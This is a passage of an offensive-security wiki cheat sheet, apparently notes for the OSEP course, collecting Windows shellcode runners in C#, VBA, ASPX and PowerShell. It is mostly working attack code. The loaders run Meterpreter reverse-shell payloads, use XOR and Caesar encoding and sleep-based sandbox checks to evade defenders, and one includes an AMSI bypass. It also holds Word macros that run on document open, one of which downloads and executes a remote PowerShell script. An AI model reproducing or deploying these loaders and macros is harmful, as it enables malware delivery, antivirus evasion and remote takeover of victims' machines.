                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
                Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);&lt;br /&gt;
                IntPtr hThread = IntPtr.Zero;&lt;br /&gt;
                UInt32 threadId = 0;&lt;br /&gt;
                IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);&lt;br /&gt;
                WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
                return true;&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.Error.WriteLine(&amp;quot;exception: &amp;quot; + e.Message);&lt;br /&gt;
                return false;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Used to Load Shellcode into Memory:&lt;br /&gt;
        private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,&lt;br /&gt;
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern IntPtr CreateThread(&lt;br /&gt;
          UInt32 lpThreadAttributes,&lt;br /&gt;
          UInt32 dwStackSize,&lt;br /&gt;
          UInt32 lpStartAddress,&lt;br /&gt;
          IntPtr param,&lt;br /&gt;
          UInt32 dwCreationFlags,&lt;br /&gt;
          ref UInt32 lpThreadId&lt;br /&gt;
          );&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 WaitForSingleObject(&lt;br /&gt;
          IntPtr hHandle,&lt;br /&gt;
          UInt32 dwMilliseconds&lt;br /&gt;
        );&lt;br /&gt;
&lt;br /&gt;
        public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, encryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, decryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)&lt;br /&gt;
        {&lt;br /&gt;
            using (var ms = new MemoryStream())&lt;br /&gt;
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))&lt;br /&gt;
            {&lt;br /&gt;
                cryptoStream.Write(data, 0, data.Length);&lt;br /&gt;
                cryptoStream.FlushFinalBlock();&lt;br /&gt;
                return ms.ToArray();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Csharp shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
            uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes,&lt;br /&gt;
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle,&lt;br /&gt;
            UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfe, 0x4a,.....&lt;br /&gt;
};&lt;br /&gt;
            for(int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)(((uint)buf[i] - 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,&lt;br /&gt;
                IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Change the XOR vba runner with this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
For i = 0 To UBound(buf)&lt;br /&gt;
buf(i) = buf(i) - 2&lt;br /&gt;
Next i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
namespace rev&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint EXECUTEREADWRITE  = 0x40;&lt;br /&gt;
        public const uint COMMIT_RESERVE = 0x3000;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;Kernel32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);&lt;br /&gt;
        public static void Main()&lt;br /&gt;
        {&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa&lt;br /&gt;
            };&lt;br /&gt;
            int payloadSize = buf.Length;&lt;br /&gt;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Marshal.Copy(buf, 0, payAddr, payloadSize);&lt;br /&gt;
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);&lt;br /&gt;
            int waitResult = WaitForSingleObject(payThreadId, -1);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function Sleep Lib &amp;quot;kernel32&amp;quot; (ByVal mili As Long) As Long&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;kernel32&amp;quot; (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;kernel32&amp;quot; (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;kernel32&amp;quot; (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function FlsAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal callback As LongPtr) As LongPtr&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    Dim allocRes As LongPtr&lt;br /&gt;
    Dim t1 As Date&lt;br /&gt;
    Dim t2 As Date&lt;br /&gt;
    Dim time As Long&lt;br /&gt;
    Dim buf As Variant&lt;br /&gt;
    Dim addr As LongPtr&lt;br /&gt;
    Dim counter As Long&lt;br /&gt;
    Dim data As Long&lt;br /&gt;
    Dim res As LongPtr&lt;br /&gt;
    &#039; Call FlsAlloc and verify if the result exists&lt;br /&gt;
    allocRes = FlsAlloc(0)&lt;br /&gt;
    If IsNull(allocRes) Then&lt;br /&gt;
        End&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Sleep for 10 seconds and verify time passed&lt;br /&gt;
    t1 = Now()&lt;br /&gt;
    Sleep (10000)&lt;br /&gt;
    t2 = Now()&lt;br /&gt;
    time = DateDiff(&amp;quot;s&amp;quot;, t1, t2)&lt;br /&gt;
    If time &amp;lt; 10 Then&lt;br /&gt;
        Exit Sub&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)&lt;br /&gt;
    buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)&lt;br /&gt;
    &#039; Allocate memory space&lt;br /&gt;
    addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
    &#039; Decode the shellcode&lt;br /&gt;
    For i = 0 To UBound(buf)&lt;br /&gt;
        buf(i) = buf(i) Xor 250&lt;br /&gt;
    Next i&lt;br /&gt;
    &#039; Move the shellcode&lt;br /&gt;
    For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
        data = buf(counter)&lt;br /&gt;
        res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
    Next counter&lt;br /&gt;
    &#039; Execute the shellcode&lt;br /&gt;
    res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Simple Shellcode Runners ==&lt;br /&gt;
&lt;br /&gt;
=== ASPX ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/C%23/Webshell_Runner/rev.aspx OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;%@ Page Language=&amp;quot;C#&amp;quot; AutoEventWireup=&amp;quot;true&amp;quot; %&amp;gt;&lt;br /&gt;
&amp;lt;%@ Import Namespace=&amp;quot;System.IO&amp;quot; %&amp;gt;&lt;br /&gt;
&amp;lt;script runat=&amp;quot;server&amp;quot;&amp;gt;&lt;br /&gt;
    private static Int32 MEM_COMMIT=0x1000;&lt;br /&gt;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]  &lt;br /&gt;
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true,ExactSpelling = true)]   &lt;br /&gt;
    private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;)]  &lt;br /&gt;
    private static extern IntPtr GetCurrentProcess();&lt;br /&gt;
&lt;br /&gt;
    protected void Page_Load(object sender, EventArgs e)&lt;br /&gt;
    {&lt;br /&gt;
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
        if(mem == null)&lt;br /&gt;
        {&lt;br /&gt;
            return;&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx&lt;br /&gt;
        byte[] oe7hnH0 = new byte[666] {0x01, 0x4d, 0x88, ...};&lt;br /&gt;
        for(int i = 0; i &amp;lt; oe7hnH0.Length; i++)&lt;br /&gt;
        {&lt;br /&gt;
        oe7hnH0[i] = (byte)(((uint)oe7hnH0[i] - 5) &amp;amp; 0xFF);&lt;br /&gt;
        }&lt;br /&gt;
        IntPtr uKVv = VirtualAlloc(IntPtr.Zero,(UIntPtr)oe7hnH0.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        System.Runtime.InteropServices.Marshal.Copy(oe7hnH0,0,uKVv,oe7hnH0.Length);&lt;br /&gt;
        IntPtr xE34tIARlB = IntPtr.Zero;&lt;br /&gt;
        IntPtr iwuox = CreateThread(IntPtr.Zero,UIntPtr.Zero,uKVv,IntPtr.Zero,0,ref xE34tIARlB);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
If compiled for x64 remember to set architecture to x64 in visual studios.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&lt;br /&gt;
            byte[] buf = new byte[630] {&lt;br /&gt;
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,&lt;br /&gt;
                // ... (other bytes)&lt;br /&gt;
                0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5&lt;br /&gt;
            };&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
==== Ver 1 - Ported from Csharp to Powershell ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$Kernel32 = @&amp;quot;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
public&lt;br /&gt;
class Kernel32 {&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)] public static extern IntPtr VirtualAlloc(&lt;br /&gt;
      IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi)] public static extern IntPtr&lt;br /&gt;
  CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
               IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,&lt;br /&gt;
               IntPtr lpThreadId);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)] public static extern UInt32&lt;br /&gt;
  WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
}&lt;br /&gt;
&amp;quot;@&lt;br /&gt;
Add-Type $Kernel32&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..&lt;br /&gt;
$size = $buf.Length&lt;br /&gt;
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)&lt;br /&gt;
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);&lt;br /&gt;
[Kernel32]::WaitForSingleObject($thandle, [uint32]&amp;quot;0xFFFFFFFF&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ver 2 ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Compact AMSI bypass&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Shellcode loader &amp;gt;:]&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Allocate executable memory&lt;br /&gt;
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
# Copy shellcode to allocated memory&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
# Execute shellcode and wait for it to exit&lt;br /&gt;
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
  (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Trigger from Word Macro&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Trigger from Word Macro&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
Create a macro in Word (See cheatsheet I) and insert code.&lt;br /&gt;
&lt;br /&gt;
If Word is running in 64-bit the code below will need changes.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?40409-VBA-Shellcode-Runner-Compile-Error-Type-Mismatch VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For the code below to work in 64-bit Word.&lt;br /&gt;
# If you&#039;re still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below.&lt;br /&gt;
# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I&#039;m not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can&#039;t, so maybe it has to do with my not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Private Declare PtrSafe Sub RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long)&lt;br /&gt;
# Second, I changed the line calling RtlMoveMemory since it&#039;s not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Call RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
# After making these changes it didn&#039;t error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return.&lt;br /&gt;
Code:&lt;br /&gt;
Dim res As LongPtr&lt;br /&gt;
# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;KERNEL32&amp;quot; (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr&lt;br /&gt;
